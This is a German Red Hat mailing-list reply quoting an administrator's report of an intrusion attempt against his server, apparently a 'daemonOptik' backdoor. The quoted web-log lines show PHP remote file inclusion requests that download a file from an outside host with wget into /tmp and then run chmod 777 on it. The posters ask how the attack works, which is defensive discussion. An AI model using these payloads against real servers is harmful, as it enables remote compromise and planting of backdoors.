Re: daemonOptik Backdoor funcionando 18383

Hallo

Habe den zusammenhang nicht ganz mitbekommen, du verwendest eine php seite
die dann ein gif laded und ein commando ausfuehrt ??

auf dem client ausfuehrt ??

!! daemonOptik Backdoor funcionando 18383 !!

wuerde mich noch interresieren.

cu

Mike

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Hallo zusammen,
>
> meine Begeisterung für das obige hält sich in Grenzen, aber für den
> Anfang war es wohl ganz gut.
> Mit interessiert nur, ob das schon jemand kennt.
> Interessant ist der Weg nach "innen":
>
> "GET
> /index.php?page=http://xxx.xxxxx.com/cse.gif?&cmd=cd%20/tmp;wget%20http://xxx.xxxxx.com.br/informatica/smartboy/index.html
> HTTP/1.1"
>
> "GET
> /index.php?page=http://a1ts.250free.com/cse.gif?&cmd=cd%20/tmp;chmod%20777%20index.html.2
> HTTP/1.1"
>
> Eigentlich war ich der Meinung, dies wäre zum einen seitens PHP nicht
> möglich, zum anderen sollte die index.php eigentlich genau solche
> Syntaxe abfangen.
> Ehrlich gesagt, ergibt der ganze Aufruf im Moment für mich nicht
> wirklich Sinn, vielleicht ist auch schon zu spät ;)
>
> Falls mir jemand Info's geben kann, wäre ich begeistert und dankbar.
> Wer es sezieren möchte, kann es auch haben.
>
> Übrigens: GCC: (GNU) 3.2.2 20030222 (Red Hat Linux 3.2.2-5)
>
> cu/2 iae
> Matthias
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.2 (MingW32)
> Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org
>
> iD8DBQFArmxzWTMfCbz57ScRAlzPAJ0Y/GybHEqFw2v7jIKPKvNf0srlzgCeNJic
> cHwRj6iH9CoRv8T8pdJjYRY=
> =TBPk
> -----END PGP SIGNATURE-----
>
>
> _______________________________________________
> redhat-list-de mailing list
> [email protected]
> https://www.redhat.com/mailman/listinfo/redhat-list-de
>


-- 
() Support on the smog.at core
() ********
() URL    : http://www.smog.at
() mailto : [email protected]
() key    : www.smog.at/key